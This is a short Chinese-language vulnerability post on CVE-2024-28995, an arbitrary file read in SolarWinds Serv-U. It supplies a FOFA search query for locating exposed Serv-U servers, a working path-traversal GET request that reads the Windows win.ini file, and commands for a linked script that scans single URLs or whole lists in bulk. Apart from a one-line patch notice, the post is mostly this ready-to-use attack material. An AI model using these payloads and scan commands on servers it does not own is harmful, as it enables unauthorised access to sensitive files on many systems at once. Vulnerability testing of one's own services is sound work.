Serv-U CVE-2024-28995 任意文件读取漏洞【附poc】

fofa

server="Serv-U"

一、漏洞简述

Serv-U是SolarWinds的全球品牌。其提供完整的可见性、控制和集中管理您的网络文件传输。Serv-U 的FTP服务器和MFT服务器软件支持多文件传输安全协议,帮助你保持符合PCI DSS、HIPAA、FISM、SOX等等的要求标准，你将永远不必担心暴露敏感数据和降低安全标准在云计算中。其接口InternalDir存在任意文件读取漏洞，攻击者可通过该漏洞获取系统敏感信息。

影响范围

二、漏洞检测poc

windows

GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/Serv-U_CVE-2024-28995_ArbitraryFileRead.py

批量检测:

python Serv-U_CVE-2024-28995_ArbitraryFileRead.py -f url.txt

单个url检测漏洞:

python Serv-U_CVE-2024-28995_ArbitraryFileRead.py -u url

四、修复

官方已更新补丁，请升级至最新版本。